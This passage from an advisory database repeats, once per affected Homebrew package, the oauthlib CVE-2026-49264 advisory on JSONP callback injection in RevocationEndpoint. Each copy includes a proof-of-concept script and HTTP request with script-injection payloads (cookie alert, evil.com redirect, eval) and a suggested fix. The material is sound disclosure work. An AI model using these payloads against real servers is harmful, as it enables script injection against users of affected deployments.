body=\"token=x\u0026callback=alert(1)//\")\nassert \"alert\" not in body, \"Payload should not be present\"\nprint(f\" [{status}] {body}\")\nprint(\"\\nAll assertions passed.\")\n```\n\n**Expected output:**\n\n```\nError path (enable_jsonp=True, auth fails):\n [401] Content-Type: application/json Body: alert(document.cookie)//({\"error\": \"invalid_client\"});\n [401] Content-Type: application/json Body: window.location=\u0027https://evil.com/\u0027//({\"error\": \"invalid_client\"});\n [401] Content-Type: application/json Body: eval(\u0027malicious\u0027)//({\"error\": \"invalid_client\"});\n\nSuccess path (enable_jsonp=True, revocation succeeds):\n [200] Content-Type: (none) Body: alert(document.cookie)//();\n [200] Content-Type: (none) Body: window.location=\u0027https://evil.com/\u0027//();\n [200] Content-Type: (none) Body: eval(\u0027malicious\u0027)//();\n\nControl (enable_jsonp=False, default):\n [401] {\"error\": \"invalid_client\"}\n\nAll assertions passed.\n```\n\nBoth paths reflect the attacker\u0027s payload verbatim into the response body.\n\n### Impact\n\nAny oauthlib-based authorization server that enables JSONP on the revocation endpoint (`enable_jsonp=True`) returns attacker-controlled JavaScript in its response body.\n\nAny page or application that loads this endpoint\u0027s response as JSONP and exposes attacker influence over the `callback` parameter will execute attacker-controlled code in its own origin. If a legitimate OAuth client uses JSONP revocation (as documented by oauthlib\u0027s client-side API) and an attacker can influence the callback value, the attacker controls what code runs in the client application, including access to the client page\u0027s DOM and any data normally accessible to scripts running in that origin.\n\nThe JSONP feature is intended for legacy cross-origin browser support. Deployments that need it are typically JavaScript-heavy clients, exactly the environment most sensitive to script injection.\n\n**Affected versions:** oauthlib \u003e= 0.6.1 through 3.3.1 (current) and master. The unsanitized callback has been present since the revocation endpoint was first introduced in 2013 (commit `da775de`). The `enable_jsonp` gate was added in 2014 (commit `b85f89a`) but no validation of the callback value was ever added.\n\n### Suggested fix\n\nValidate the `callback` parameter against a strict pattern for legal JavaScript identifiers before using it in the response. Reject or ignore values that do not match:\n\n```python\nimport re\n\n# Only allow safe JSONP callback names: valid JS identifiers, optionally dot-separated\nJSONP_CALLBACK_PATTERN = re.compile(r\u0027^[a-zA-Z_$][a-zA-Z0-9_$]*(\\.[a-zA-Z_$][a-zA-Z0-9_$]*)*$\u0027)\n\n# In create_revocation_response(), before using request.callback:\nif self.enable_jsonp and request.callback:\n if not JSONP_CALLBACK_PATTERN.match(request.callback):\n request.callback = None\n```\n\nThis is the standard mitigation for JSONP callback injection and is the approach used by jQuery, Express.js, and Google APIs. It ensures only syntactically valid function names like `package.hello_world` are accepted, while blocking payloads like `alert(document.cookie)//`.\n\nAs a secondary hardening measure, when JSONP is enabled, the response should set `Content-Type: application/javascript` (not `application/json` or empty) to ensure correct browser handling. Currently the success path returns no Content-Type at all, and the error path returns `application/json`.\n\nAlternatively, if JSONP is no longer considered a necessary feature, consider deprecating and removing the `enable_jsonp` option entirely. CORS is now supported by all modern browsers and is the standard mechanism for cross-origin API access.",
"id": "BREW-snapcraft-CVE-2026-49264",
"modified": "2026-10-14T10:15:40Z",
"published": "2026-09-30T21:12:51Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/oauthlib/oauthlib/security/advisories/GHSA-hj66-6f7g-4r5v"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-49264"
},
{
"type": "WEB",
"url": "https://github.com/oauthlib/oauthlib/pull/951"
},
{
"type": "WEB",
"url": "https://github.com/oauthlib/oauthlib/commit/c888359f3c42bec235b2c5caab2069c9ed62457c"
},
{
"type": "PACKAGE",
"url": "https://github.com/oauthlib/oauthlib"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/oauthlib/PYSEC-2026-4113.yaml"
}
],
"schema_version": "1.7.3",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Oauthlib : Unsafe JSONP callback injection in RevocationEndpoint allows arbitrary JavaScript response generation",
"upstream": [
"GHSA-hj66-6f7g-4r5v",
"CVE-2026-49264",
"PYSEC-2026-4113"
]
}
BREW-TWARC-CVE-2026-49264 (GHSA-HJ66-6F7G-4R5V)
Vulnerability from osv_homebrew – Published: 2026-10-12 20:10 – Updated: 2026-10-14 10:09 – Source websiteSummary
When enable_jsonp=True, oauthlib's RevocationEndpoint reflects the user-supplied callback parameter directly into JavaScript response bodies on both success and error paths without validating that it is a legal JSONP callback name. This allows arbitrary JavaScript response generation instead of a restricted function call, making the documented JSONP revocation feature unsafe for browser-based JSONP consumption when attackers can influence callback.
Details
The issue is in oauthlib/oauth2/rfc6749/endpoints/revocation.py.
When enable_jsonp=True is passed to the RevocationEndpoint constructor, two code paths wrap the response body using the user-supplied request.callback parameter:
# Error response path (line 72-73):
if self.enable_jsonp and request.callback:
response_body = '{}({});'.format(request.callback, response_body)
# Success response path (line 81-82):
if self.enable_jsonp and request.callback:
response_body = request.callback + '();'
The request.callback value comes from HTTP request parameters, either the query string or POST body, via the Request class in oauthlib/common.py (lines 394-395), which merges query and body parameters into _params. Any value the client sends as callback is used verbatim.
There is no validation of any kind on the callback parameter: - No check that it is a valid JavaScript identifier - No whitelist of allowed characters - No escaping or sanitization
A safe JSONP implementation must validate that the callback is a legal JavaScript function name (e.g., matching ^[a-zA-Z_$][a-zA-Z0-9_$.]*$). Without this, the attacker controls the JavaScript code returned in the response body. This is the standard mitigation used by jQuery, Express.js, Google APIs, and other major JSONP implementations.
How the injection works:
An attacker sends a revocation request with a crafted callback value:
POST /revoke HTTP/1.1
Content-Type: application/x-www-form-urlencoded
token=anything&callback=alert(document.cookie)//
The server responds with:
alert(document.cookie)//({"error": "invalid_client"});
This is syntactically valid JavaScript. alert(document.cookie) executes as a statement, and // comments out the rest of the line. The attacker has full control over the code that appears before the //.
Execution context and attack surface:
JSONP works by having a browser load a remote script via <script src="...">. The loaded script executes in the origin of the including page, not the remote server. This means a <script src="https://auth.example.com/revoke?token=x&callback=payload"> tag on evil.com would execute the payload in evil.com's context, not the auth server's context.
The impact comes from client-side integrations that consume this endpoint as trusted JSONP. If a legitimate OAuth client includes <script src> pointed at the revocation endpoint and an attacker can influence the callback value (e.g., via query parameter injection, a reflected value, or a man-in-the-middle downgrade), the attacker controls what code runs in the client application's origin. The authorization server becomes a source of attacker-controlled JavaScript that client applications trust and execute.
Note: the enable_jsonp parameter defaults to False, so only deployments that explicitly opt in are affected. However, this is a supported, documented library feature, not a debug flag. The client-side library includes prepare_token_revocation_request() with an explicit callback parameter (oauthlib/oauth2/rfc6749/parameters.py, line 174), and the documentation shows JSONP revocation as a use case (oauthlib/oauth2/rfc6749/clients/base.py, lines 351-358). The existing test suite tests JSONP callback reflection with a benign value (test_revocation_endpoint.py, lines 91-101) but does not test for injection. Deployments that enable JSONP typically do so to support older browsers or cross-origin revocation from JavaScript clients, these are exactly the environments most sensitive to script injection.
PoC
Requirements: Python 3.x with oauthlib installed (pip install oauthlib).
from oauthlib.oauth2.rfc6749.endpoints.revocation import RevocationEndpoint
from oauthlib.oauth2.rfc6749.request_validator import RequestValidator
class FailValidator(RequestValidator):
"""Auth fails -> triggers error response path (lines 72-73)."""
def client_authentication_required(self, request, *a, **kw): return True
def authenticate_client(self, request, *a, **kw): return False
def authenticate_client_id(self, client_id, request, *a, **kw): return False
class PassValidator(RequestValidator):
"""Auth passes -> triggers success response path (lines 81-82)."""
def client_authentication_required(self, request, *a, **kw): return False
def authenticate_client_id(self, client_id, request, *a, **kw): return True
def revoke_token(self, token, token_type_hint, request, *a, **kw): pass
payloads = [
"alert(document.cookie)//",
"window.location='https://evil.com/'//",
"eval('malicious')//",
]
# --- Error path (401) ---
print("Error path (enable_jsonp=True, auth fails):")
ep_fail = RevocationEndpoint(FailValidator(), enable_jsonp=True)
for p in payloads:
h, body, status = ep_fail.create_revocation_response(
"https://auth.example.com/revoke", http_method="POST",
body=f"token=x&callback={p}")
assert p in body, "Payload not reflected"
print(f" [{status}] Content-Type: {h.get('Content-Type','(none)')} Body: {body}")
# --- Success path (200) ---
print("\nSuccess path (enable_jsonp=True, revocation succeeds):")
ep_pass = RevocationEndpoint(PassValidator(), enable_jsonp=True)
for p in payloads:
h, body, status = ep_pass.create_revocation_response(
"https://auth.example.com/revoke", http_method="POST",
body=f"token=x&callback={p}")
assert p in body, "Payload not reflected"
print(f" [{status}] Content-Type: {h.get('Content-Type','(none)')} Body: {body}")
# --- Control (default: enable_jsonp=False) ---
print("\nControl (enable_jsonp=False, default):")
ep_safe = RevocationEndpoint(FailValidator(), enable_jsonp=False)
_, body, status = ep_safe.create_revocation_response(
"https://auth.example.com/revoke", http_method="POST",
body="token=x&callback=alert(1)//")
assert "alert" not in body, "Payload should not be present"
print(f" [{status}] {body}")
print("\nAll assertions passed.")
Expected output:
Error path (enable_jsonp=True, auth fails):
[401] Content-Type: application/json Body: alert(document.cookie)//({"error": "invalid_client"});
[401] Content-Type: application/json Body: window.location='https://evil.com/'//({"error": "invalid_client"});
[401] Content-Type: application/json Body: eval('malicious')//({"error": "invalid_client"});
Success path (enable_jsonp=True, revocation succeeds):
[200] Content-Type: (none) Body: alert(document.cookie)//();
[200] Content-Type: (none) Body: window.location='https://evil.com/'//();
[200] Content-Type: (none) Body: eval('malicious')//();
Control (enable_jsonp=False, default):
[401] {"error": "invalid_client"}
All assertions passed.
Both paths reflect the attacker's payload verbatim into the response body.
Impact
Any oauthlib-based authorization server that enables JSONP on the revocation endpoint (enable_jsonp=True) returns attacker-controlled JavaScript in its response body.
Any page or application that loads this endpoint's response as JSONP and exposes attacker influence over the callback parameter will execute attacker-controlled code in its own origin. If a legitimate OAuth client uses JSONP revocation (as documented by oauthlib's client-side API) and an attacker can influence the callback value, the attacker controls what code runs in the client application, including access to the client page's DOM and any data normally accessible to scripts running in that origin.
The JSONP feature is intended for legacy cross-origin browser support. Deployments that need it are typically JavaScript-heavy clients, exactly the environment most sensitive to script injection.
Affected versions: oauthlib >= 0.6.1 through 3.3.1 (current) and master. The unsanitized callback has been present since the revocation endpoint was first introduced in 2013 (commit da775de). The enable_jsonp gate was added in 2014 (commit b85f89a) but no validation of the callback value was ever added.
Suggested fix
Validate the callback parameter against a strict pattern for legal JavaScript identifiers before using it in the response. Reject or ignore values that do not match:
import re
# Only allow safe JSONP callback names: valid JS identifiers, optionally dot-separated
JSONP_CALLBACK_PATTERN = re.compile(r'^[a-zA-Z_$][a-zA-Z0-9_$]*(\.[a-zA-Z_$][a-zA-Z0-9_$]*)*$')
# In create_revocation_response(), before using request.callback:
if self.enable_jsonp and request.callback:
if not JSONP_CALLBACK_PATTERN.match(request.callback):
request.callback = None
This is the standard mitigation for JSONP callback injection and is the approach used by jQuery, Express.js, and Google APIs. It ensures only syntactically valid function names like package.hello_world are accepted, while blocking payloads like alert(document.cookie)//.
As a secondary hardening measure, when JSONP is enabled, the response should set Content-Type: application/javascript (not application/json or empty) to ensure correct browser handling. Currently the success path returns no Content-Type at all, and the error path returns application/json.
Alternatively, if JSONP is no longer considered a necessary feature, consider deprecating and removing the enable_jsonp option entirely. CORS is now supported by all modern browsers and is the standard mechanism for cross-origin API access.
| URL | Type | |||||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
|
||||||||||||||||||||
{
"affected": [
{
"ecosystem_specific": {
"fix": "bump",
"range_state": "fixed",
"resource": "oauthlib",
"resource_purl": "pkg:pypi/oauthlib@4.0.0",
"upstream_fixed_in": "4.0.0"
},
"package": {
"ecosystem": "Homebrew",
"name": "twarc",
"purl": "pkg:brew/twarc"
},
"ranges": [
{
"events": [
{
"introduced": "0.8.2"
},
{
"fixed": "2.14.1_5"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"database_specific": {
"confidence": "high",
"source": "matched",
"strategy": "registry",
"upstream_evidence": [
{
"ecosystem": "PyPI",
"key": "pkg:pypi/oauthlib@4.0.0",
"name": "oauthlib",
"resource": "oauthlib",
"strategy": "registry",
"subject_version": "4.0.0"
}
]
},
"details": "### Summary\n\nWhen `enable_jsonp=True`, oauthlib\u0027s `RevocationEndpoint` reflects the user-supplied `callback` parameter directly into JavaScript response bodies on both success and error paths without validating that it is a legal JSONP callback name. This allows arbitrary JavaScript response generation instead of a restricted function call, making the documented JSONP revocation feature unsafe for browser-based JSONP consumption when attackers can influence `callback`.\n\n### Details\n\nThe issue is in `oauthlib/oauth2/rfc6749/endpoints/revocation.py`.\n\nWhen `enable_jsonp=True` is passed to the `RevocationEndpoint` constructor, two code paths wrap the response body using the user-supplied `request.callback` parameter:\n\n```python\n# Error response path (line 72-73):\nif self.enable_jsonp and request.callback:\n response_body = \u0027{}({});\u0027.format(request.callback, response_body)\n\n# Success response path (line 81-82):\nif self.enable_jsonp and request.callback:\n response_body = request.callback + \u0027();\u0027\n```\n\nThe `request.callback` value comes from HTTP request parameters, either the query string or POST body, via the `Request` class in `oauthlib/common.py` (lines 394-395), which merges query and body parameters into `_params`. Any value the client sends as `callback` is used verbatim.\n\nThere is no validation of any kind on the callback parameter:\n- No check that it is a valid JavaScript identifier\n- No whitelist of allowed characters\n- No escaping or sanitization\n\nA safe JSONP implementation must validate that the callback is a legal JavaScript function name (e.g., matching `^[a-zA-Z_$][a-zA-Z0-9_$.]*$`). Without this, the attacker controls the JavaScript code returned in the response body. This is the standard mitigation used by jQuery, Express.js, Google APIs, and other major JSONP implementations.\n\n**How the injection works:**\n\nAn attacker sends a revocation request with a crafted callback value:\n\n```\nPOST /revoke HTTP/1.1\nContent-Type: application/x-www-form-urlencoded\n\ntoken=anything\u0026callback=alert(document.cookie)//\n```\n\nThe server responds with:\n\n```\nalert(document.cookie)//({\"error\": \"invalid_client\"});\n```\n\nThis is syntactically valid JavaScript. `alert(document.cookie)` executes as a statement, and `//` comments out the rest of the line. The attacker has full control over the code that appears before the `//`.\n\n**Execution context and attack surface:**\n\nJSONP works by having a browser load a remote script via `\u003cscript src=\"...\"\u003e`. The loaded script executes in the origin of the **including page**, not the remote server. This means a `\u003cscript src=\"https://auth.example.com/revoke?token=x\u0026callback=payload\"\u003e` tag on `evil.com` would execute the payload in `evil.com`\u0027s context, not the auth server\u0027s context.\n\nThe impact comes from client-side integrations that consume this endpoint as trusted JSONP. If a legitimate OAuth client includes `\u003cscript src\u003e` pointed at the revocation endpoint and an attacker can influence the callback value (e.g., via query parameter injection, a reflected value, or a man-in-the-middle downgrade), the attacker controls what code runs in the client application\u0027s origin. The authorization server becomes a source of attacker-controlled JavaScript that client applications trust and execute.\n\nNote: the `enable_jsonp` parameter defaults to `False`, so only deployments that explicitly opt in are affected. However, this is a supported, documented library feature, not a debug flag. The client-side library includes `prepare_token_revocation_request()` with an explicit `callback` parameter (`oauthlib/oauth2/rfc6749/parameters.py`, line 174), and the documentation shows JSONP revocation as a use case (`oauthlib/oauth2/rfc6749/clients/base.py`, lines 351-358). The existing test suite tests JSONP callback reflection with a benign value (`test_revocation_endpoint.py`, lines 91-101) but does not test for injection. Deployments that enable JSONP typically do so to support older browsers or cross-origin revocation from JavaScript clients, these are exactly the environments most sensitive to script injection.\n\n### PoC\n\n**Requirements:** Python 3.x with oauthlib installed (`pip install oauthlib`).\n\n```python\nfrom oauthlib.oauth2.rfc6749.endpoints.revocation import RevocationEndpoint\nfrom oauthlib.oauth2.rfc6749.request_validator import RequestValidator\n\n\nclass FailValidator(RequestValidator):\n \"\"\"Auth fails -\u003e triggers error response path (lines 72-73).\"\"\"\n def client_authentication_required(self, request, *a, **kw): return True\n def authenticate_client(self, request, *a, **kw): return False\n def authenticate_client_id(self, client_id, request, *a, **kw): return False\n\n\nclass PassValidator(RequestValidator):\n \"\"\"Auth passes -\u003e triggers success response path (lines 81-82).\"\"\"\n def client_authentication_required(self, request, *a, **kw): return False\n def authenticate_client_id(self, client_id, request, *a, **kw): return True\n def revoke_token(self, token, token_type_hint, request, *a, **kw): pass\n\n\npayloads = [\n \"alert(document.cookie)//\",\n \"window.location=\u0027https://evil.com/\u0027//\",\n \"eval(\u0027malicious\u0027)//\",\n]\n\n# --- Error path (401) ---\nprint(\"Error path (enable_jsonp=True, auth fails):\")\nep_fail = RevocationEndpoint(FailValidator(), enable_jsonp=True)\nfor p in payloads:\n h, body, status = ep_fail.create_revocation_response(\n \"https://auth.example.com/revoke\", http_method=\"POST\",\n body=f\"token=x\u0026callback={p}\")\n assert p in body, \"Payload not reflected\"\n print(f\" [{status}] Content-Type: {h.get(\u0027Content-Type\u0027,\u0027(none)\u0027)} Body: {body}\")\n\n# --- Success path (200) ---\nprint(\"\\nSuccess path (enable_jsonp=True, revocation succeeds):\")\nep_pass = RevocationEndpoint(PassValidator(), enable_jsonp=True)\nfor p in payloads:\n h, body, status = ep_pass.create_revocation_response(\n \"https://auth.example.com/revoke\", http_method=\"POST\",\n body=f\"token=x\u0026callback={p}\")\n assert p in body, \"Payload not reflected\"\n print(f\" [{status}] Content-Type: {h.get(\u0027Content-Type\u0027,\u0027(none)\u0027)} Body: {body}\")\n\n# --- Control (default: enable_jsonp=False) ---\nprint(\"\\nControl (enable_jsonp=False, default):\")\nep_safe = RevocationEndpoint(FailValidator(), enable_jsonp=False)\n_, body, status = ep_safe.create_revocation_response(\n \"https://auth.example.com/revoke\", http_method=\"POST\",\n body=\"token=x\u0026callback=alert(1)//\")\nassert \"alert\" not in body, \"Payload should not be present\"\nprint(f\" [{status}] {body}\")\nprint(\"\\nAll assertions passed.\")\n```\n\n**Expected output:**\n\n```\nError path (enable_jsonp=True, auth fails):\n [401] Content-Type: application/json Body: alert(document.cookie)//({\"error\": \"invalid_client\"});\n [401] Content-Type: application/json Body: window.location=\u0027https://evil.com/\u0027//({\"error\": \"invalid_client\"});\n [401] Content-Type: application/json Body: eval(\u0027malicious\u0027)//({\"error\": \"invalid_client\"});\n\nSuccess path (enable_jsonp=True, revocation succeeds):\n [200] Content-Type: (none) Body: alert(document.cookie)//();\n [200] Content-Type: (none) Body: window.location=\u0027https://evil.com/\u0027//();\n [200] Content-Type: (none) Body: eval(\u0027malicious\u0027)//();\n\nControl (enable_jsonp=False, default):\n [401] {\"error\": \"invalid_client\"}\n\nAll assertions passed.\n```\n\nBoth paths reflect the attacker\u0027s payload verbatim into the response body.\n\n### Impact\n\nAny oauthlib-based authorization server that enables JSONP on the revocation endpoint (`enable_jsonp=True`) returns attacker-controlled JavaScript in its response body.\n\nAny page or application that loads this endpoint\u0027s response as JSONP and exposes attacker influence over the `callback` parameter will execute attacker-controlled code in its own origin. If a legitimate OAuth client uses JSONP revocation (as documented by oauthlib\u0027s client-side API) and an attacker can influence the callback value, the attacker controls what code runs in the client application, including access to the client page\u0027s DOM and any data normally accessible to scripts running in that origin.\n\nThe JSONP feature is intended for legacy cross-origin browser support. Deployments that need it are typically JavaScript-heavy clients, exactly the environment most sensitive to script injection.\n\n**Affected versions:** oauthlib \u003e= 0.6.1 through 3.3.1 (current) and master. The unsanitized callback has been present since the revocation endpoint was first introduced in 2013 (commit `da775de`). The `enable_jsonp` gate was added in 2014 (commit `b85f89a`) but no validation of the callback value was ever added.\n\n### Suggested fix\n\nValidate the `callback` parameter against a strict pattern for legal JavaScript identifiers before using it in the response. Reject or ignore values that do not match:\n\n```python\nimport re\n\n# Only allow safe JSONP callback names: valid JS identifiers, optionally dot-separated\nJSONP_CALLBACK_PATTERN = re.compile(r\u0027^[a-zA-Z_$][a-zA-Z0-9_$]*(\\.[a-zA-Z_$][a-zA-Z0-9_$]*)*$\u0027)\n\n# In create_revocation_response(), before using request.callback:\nif self.enable_jsonp and request.callback:\n if not JSONP_CALLBACK_PATTERN.match(request.callback):\n request.callback = None\n```\n\nThis is the standard mitigation for JSONP callback injection and is the approach used by jQuery, Express.js, and Google APIs. It ensures only syntactically valid function names like `package.hello_world` are accepted, while blocking payloads like `alert(document.cookie)//`.\n\nAs a secondary hardening measure, when JSONP is enabled, the response should set `Content-Type: application/javascript` (not `application/json` or empty) to ensure correct browser handling. Currently the success path returns no Content-Type at all, and the error path returns `application/json`.\n\nAlternatively, if JSONP is no longer considered a necessary feature, consider deprecating and removing the `enable_jsonp` option entirely. CORS is now supported by all modern browsers and is the standard mechanism for cross-origin API access.",
"id": "BREW-twarc-CVE-2026-49264",
"modified": "2026-10-14T10:09:32Z",
"published": "2026-10-12T20:10:42Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/oauthlib/oauthlib/security/advisories/GHSA-hj66-6f7g-4r5v"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-49264"
},
{
"type": "WEB",
"url": "https://github.com/oauthlib/oauthlib/pull/951"
},
{
"type": "WEB",
"url": "https://github.com/oauthlib/oauthlib/commit/c888359f3c42bec235b2c5caab2069c9ed62457c"
},
{
"type": "PACKAGE",
"url": "https://github.com/oauthlib/oauthlib"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/oauthlib/PYSEC-2026-4113.yaml"
}
],
"schema_version": "1.7.3",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Oauthlib : Unsafe JSONP callback injection in RevocationEndpoint allows arbitrary JavaScript response generation",
"upstream": [
"GHSA-hj66-6f7g-4r5v",
"CVE-2026-49264",
"PYSEC-2026-4113"
]
}
BREW-VDIRSYNCER-CVE-2026-49264 (GHSA-HJ66-6F7G-4R5V)
Vulnerability from osv_homebrew – Published: 2026-09-30 21:43 – Updated: 2026-10-14 11:01 – Source websiteSummary
When enable_jsonp=True, oauthlib's RevocationEndpoint reflects the user-supplied callback parameter directly into JavaScript response bodies on both success and error paths without validating that it is a legal JSONP callback name. This allows arbitrary JavaScript response generation instead of a restricted function call, making the documented JSONP revocation feature unsafe for browser-based JSONP consumption when attackers can influence callback.
Details
The issue is in oauthlib/oauth2/rfc6749/endpoints/revocation.py.
When enable_jsonp=True is passed to the RevocationEndpoint constructor, two code paths wrap the response body using the user-supplied request.callback parameter:
# Error response path (line 72-73):
if self.enable_jsonp and request.callback:
response_body = '{}({});'.format(request.callback, response_body)
# Success response path (line 81-82):
if self.enable_jsonp and request.callback:
response_body = request.callback + '();'
The request.callback value comes from HTTP request parameters, either the query string or POST body, via the Request class in oauthlib/common.py (lines 394-395), which merges query and body parameters into _params. Any value the client sends as callback is used verbatim.
There is no validation of any kind on the callback parameter: - No check that it is a valid JavaScript identifier - No whitelist of allowed characters - No escaping or sanitization
A safe JSONP implementation must validate that the callback is a legal JavaScript function name (e.g., matching ^[a-zA-Z_$][a-zA-Z0-9_$.]*$). Without this, the attacker controls the JavaScript code returned in the response body. This is the standard mitigation used by jQuery, Express.js, Google APIs, and other major JSONP implementations.
How the injection works:
An attacker sends a revocation request with a crafted callback value:
POST /revoke HTTP/1.1
Content-Type: application/x-www-form-urlencoded
token=anything&callback=alert(document.cookie)//
The server responds with:
alert(document.cookie)//({"error": "invalid_client"});
This is syntactically valid JavaScript. alert(document.cookie) executes as a statement, and // comments out the rest of the line. The attacker has full control over the code that appears before the //.
Execution context and attack surface:
JSONP works by having a browser load a remote script via <script src="...">. The loaded script executes in the origin of the including page, not the remote server. This means a <script src="https://auth.example.com/revoke?token=x&callback=payload"> tag on evil.com would execute the payload in evil.com's context, not the auth server's context.
The impact comes from client-side integrations that consume this endpoint as trusted JSONP. If a legitimate OAuth client includes <script src> pointed at the revocation endpoint and an attacker can influence the callback value (e.g., via query parameter injection, a reflected value, or a man-in-the-middle downgrade), the attacker controls what code runs in the client application's origin. The authorization server becomes a source of attacker-controlled JavaScript that client applications trust and execute.
Note: the enable_jsonp parameter defaults to False, so only deployments that explicitly opt in are affected. However, this is a supported, documented library feature, not a debug flag. The client-side library includes prepare_token_revocation_request() with an explicit callback parameter (oauthlib/oauth2/rfc6749/parameters.py, line 174), and the documentation shows JSONP revocation as a use case (oauthlib/oauth2/rfc6749/clients/base.py, lines 351-358). The existing test suite tests JSONP callback reflection with a benign value (test_revocation_endpoint.py, lines 91-101) but does not test for injection. Deployments that enable JSONP typically do so to support older browsers or cross-origin revocation from JavaScript clients, these are exactly the environments most sensitive to script injection.
PoC
Requirements: Python 3.x with oauthlib installed (pip install oauthlib).
from oauthlib.oauth2.rfc6749.endpoints.revocation import RevocationEndpoint
from oauthlib.oauth2.rfc6749.request_validator import RequestValidator
class FailValidator(RequestValidator):
"""Auth fails -> triggers error response path (lines 72-73)."""
def client_authentication_required(self, request, *a, **kw): return True
def authenticate_client(self, request, *a, **kw): return False
def authenticate_client_id(self, client_id, request, *a, **kw): return False
class PassValidator(RequestValidator):
"""Auth passes -> triggers success response path (lines 81-82)."""
def client_authentication_required(self, request, *a, **kw): return False
def authenticate_client_id(self, client_id, request, *a, **kw): return True
def revoke_token(self, token, token_type_hint, request, *a, **kw): pass
payloads = [
"alert(document.cookie)//",
"window.location='https://evil.com/'//",
"eval('malicious')//",
]
# --- Error path (401) ---
print("Error path (enable_jsonp=True, auth fails):")
ep_fail = RevocationEndpoint(FailValidator(), enable_jsonp=True)
for p in payloads:
h, body, status = ep_fail.create_revocation_response(
"https://auth.example.com/revoke", http_method="POST",
body=f"token=x&callback={p}")
assert p in body, "Payload not reflected"
print(f" [{status}] Content-Type: {h.get('Content-Type','(none)')} Body: {body}")
# --- Success path (200) ---
print("\nSuccess path (enable_jsonp=True, revocation succeeds):")
ep_pass = RevocationEndpoint(PassValidator(), enable_jsonp=True)
for p in payloads:
h, body, status = ep_pass.create_revocation_response(
"https://auth.example.com/revoke", http_method="POST",
body=f"token=x&callback={p}")
assert p in body, "Payload not reflected"
print(f" [{status}] Content-Type: {h.get('Content-Type','(none)')} Body: {body}")
# --- Control (default: enable_jsonp=False) ---
print("\nControl (enable_jsonp=False, default):")
ep_safe = RevocationEndpoint(FailValidator(), enable_jsonp=False)
_, body, status = ep_safe.create_revocation_response(
"https://auth.example.com/revoke", http_method="POST",
body="token=x&callback=alert(1)//")
assert "alert" not in body, "Payload should not be present"
print(f" [{status}] {body}")
print("\nAll assertions passed.")
Expected output:
Error path (enable_jsonp=True, auth fails):
[401] Content-Type: application/json Body: alert(document.cookie)//({"error": "invalid_client"});
[401] Content-Type: application/json Body: window.location='https://evil.com/'//({"error": "invalid_client"});
[401] Content-Type: application/json Body: eval('malicious')//({"error": "invalid_client"});
Success path (enable_jsonp=True, revocation succeeds):
[200] Content-Type: (none) Body: alert(document.cookie)//();
[200] Content-Type: (none) Body: window.location='https://evil.com/'//();
[200] Content-Type: (none) Body: eval('malicious')//();
Control (enable_jsonp=False, default):
[401] {"error": "invalid_client"}
All assertions passed.
Both paths reflect the attacker's payload verbatim into the response body.
Impact
Any oauthlib-based authorization server that enables JSONP on the revocation endpoint (enable_jsonp=True) returns attacker-controlled JavaScript in its response body.
Any page or application that loads this endpoint's response as JSONP and exposes attacker influence over the callback parameter will execute attacker-controlled code in its own origin. If a legitimate OAuth client uses JSONP revocation (as documented by oauthlib's client-side API) and an attacker can influence the callback value, the attacker controls what code runs in the client application, including access to the client page's DOM and any data normally accessible to scripts running in that origin.
The JSONP feature is intended for legacy cross-origin browser support. Deployments that need it are typically JavaScript-heavy clients, exactly the environment most sensitive to script injection.
Affected versions: oauthlib >= 0.6.1 through 3.3.1 (current) and master. The unsanitized callback has been present since the revocation endpoint was first introduced in 2013 (commit da775de). The enable_jsonp gate was added in 2014 (commit b85f89a) but no validation of the callback value was ever added.
Suggested fix
Validate the callback parameter against a strict pattern for legal JavaScript identifiers before using it in the response. Reject or ignore values that do not match:
import re
# Only allow safe JSONP callback names: valid JS identifiers, optionally dot-separated
JSONP_CALLBACK_PATTERN = re.compile(r'^[a-zA-Z_$][a-zA-Z0-9_$]*(\.[a-zA-Z_$][a-zA-Z0-9_$]*)*$')
# In create_revocation_response(), before using request.callback:
if self.enable_jsonp and request.callback:
if not JSONP_CALLBACK_PATTERN.match(request.callback):
request.callback = None
This is the standard mitigation for JSONP callback injection and is the approach used by jQuery, Express.js, and Google APIs. It ensures only syntactically valid function names like package.hello_world are accepted, while blocking payloads like alert(document.cookie)//.
As a secondary hardening measure, when JSONP is enabled, the response should set Content-Type: application/javascript (not application/json or empty) to ensure correct browser handling. Currently the success path returns no Content-Type at all, and the error path returns application/json.
Alternatively, if JSONP is no longer considered a necessary feature, consider deprecating and removing the enable_jsonp option entirely. CORS is now supported by all modern browsers and is the standard mechanism for cross-origin API access.
| URL | Type | |||||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
|
||||||||||||||||||||
{
"affected": [
{
"ecosystem_specific": {
"fix": "bump",
"range_state": "fixed",
"resource": "oauthlib",
"resource_purl": "pkg:pypi/oauthlib@4.0.0",
"upstream_fixed_in": "4.0.0"
},
"package": {
"ecosystem": "Homebrew",
"name": "vdirsyncer",
"purl": "pkg:brew/vdirsyncer"
},
"ranges": [
{
"events": [
{
"introduced": "0.16.0"
},
{
"fixed": "0.21.0_1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"database_specific": {
"confidence": "high",
"source": "matched",
"strategy": "registry",
"upstream_evidence": [
{
"ecosystem": "PyPI",
"key": "pkg:pypi/oauthlib@4.0.0",
"name": "oauthlib",
"resource": "oauthlib",
"strategy": "registry",
"subject_version": "4.0.0"
}
]
},
